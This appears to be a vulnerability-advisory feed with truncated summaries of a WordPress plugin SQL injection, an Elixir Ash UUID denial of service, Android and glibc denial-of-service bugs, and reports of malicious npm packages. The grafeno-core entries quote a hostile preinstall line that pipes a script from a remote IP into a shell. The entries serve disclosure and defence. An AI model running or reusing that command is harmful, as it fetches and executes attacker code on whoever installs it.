CVE-2026-18752

CVE-2026-18752 affects the Persistent Login plugin for WordPress in all versions up to and including 3.1.0 . The vulnerability is a generic SQL injection via the wppl_device_id cookie, caused by insufficient escaping of the user-supplied parameter and lack of proper query preparation. Authenticat...

CVE-2026-18752 Persistent Login <= 3.1.0 - Authenticated (Subscriber+) SQL Injection via 'wppl_device_id' Cookie

The Persistent Login plugin for WordPress is vulnerable to generic SQL Injection via 'wppldeviceid' Cookie in all versions up to, and including, 3.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible f...

EUVD-2026-68971

The Persistent Login plugin for WordPress is vulnerable to generic SQL Injection via 'wppldeviceid' Cookie in all versions up to, and including, 3.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible f...

CVE-2026-82738 Ash.Type.UUIDv7 accepts non-v7 UUIDs that then fail to load, causing persistent denial of service

Improper Input Validation vulnerability in ash-project ash allows an attacker to persistently deny reads of a record by storing a non-version-7 UUID in an Ash.Type.UUIDv7 attribute. Ash.Type.UUIDv7.castinput/2 accepts any well-formed UUID string, including non-version-7 UUIDs, and stores it as a...

EEF-CVE-2026-82738 Ash.Type.UUIDv7 accepts non-v7 UUIDs that then fail to load, causing persistent denial of service

Summary Improper Input Validation vulnerability in ash-project ash allows an attacker to persistently deny reads of a record by storing a non-version-7 UUID in an Ash.Type.UUIDv7 attribute. Ash.Type.UUIDv7.castinput/2 accepts any well-formed UUID string, including non-version-7 UUIDs, and stores ...

CVE-2026-82738 Ash.Type.UUIDv7 accepts non-v7 UUIDs that then fail to load, causing persistent denial of service

Improper Input Validation vulnerability in ash-project ash allows an attacker to persistently deny reads of a record by storing a non-version-7 UUID in an Ash.Type.UUIDv7 attribute. Ash.Type.UUIDv7.castinput/2 accepts any well-formed UUID string, including non-version-7 UUIDs, and stores it as a...

EUVD-2026-68965

Improper Input Validation vulnerability in ash-project ash allows an attacker to persistently deny reads of a record by storing a non-version-7 UUID in an Ash.Type.UUIDv7 attribute. Ash.Type.UUIDv7.castinput/2 accepts any well-formed UUID string, including non-version-7 UUIDs, and stores it as a...

CVE-2026-82738

An Improper Input Validation flaw in ash-project ash (Elixir framework) allows an attacker to permanently poison a database record. The Ash.Type.UUIDv7 type's cast_input/2 accepts any well-formed UUID string and stores it as a 16-byte binary. However, on read, cast_stored/2 routes the binary back...

ASB-A-498792914

In add of WifiNetworkSuggestionsManager.java, there is a possible persistent DOS due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation...

PT-2026-84103

The Persistent Login plugin for WordPress is vulnerable to generic SQL Injection via 'wppl device id' Cookie in all versions up to, and including, 3.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible...

CVE-2026-18752: Improper Neutralization of Special Elements used in an SQL Command

The Persistent Login plugin for WordPress is vulnerable to generic SQL Injection via 'wppldeviceid' Cookie in all versions up to, and including, 3.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible f...

CVE-2026-82738: Improper Input Validation

Improper Input Validation vulnerability in ash-project ash allows an attacker to persistently deny reads of a record by storing a non-version-7 UUID in an Ash.Type.UUIDv7 attribute. Ash.Type.UUIDv7.castinput/2 accepts any well-formed UUID string, including non-version-7 UUIDs, and stores it as a...

ASB-A-430284594

In initForUserNoTracing of VoiceInteractionManagerService.java, there is a possible persistent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation...

PT-2026-84087

Improper Input Validation vulnerability in ash-project ash allows an attacker to persistently deny reads of a record by storing a non-version-7 UUID in an Ash.Type.UUIDv7 attribute. Ash.Type.UUIDv7.cast input/2 accepts any well-formed UUID string, including non-version-7 UUIDs, and stores it as a...

glibc: Non-progress DoS in EUC_JISX0213 -> UCS-4 conversion state

A flaw was found in glibc. Converting crafted EUCJISX0213 input to UCS-4 or the internal wide character encoding for example with iconv can cause the converter to make no progress, hanging the calling application. Some EUCJISX0213 sequences decode to two code points; if the output buffer has room...

Malicious code in grafeno-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e The package's preinstall lifecycle script runs curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an...

MAL-2026-15505 Malicious code in grafeno-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e The package's preinstall lifecycle script runs curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an...

Malicious code in 3layerdipstackmokfkh (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware da015575c29fe6af032ba0c966d1adcdab17b367ca32bfb54fb11bbcfa4d890c Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-14967 Malicious code in 3layerdipstackvtd7og (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 37994d3d03c7446f5f3251b1c84421b04e4cc0287ee51e7051a89fea429c79ad The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstack7lknl (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 6611ec62b6f8623df5dd819bb66d682635bcc9c5f0d3fa55a9d2b3ee05be07b5 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...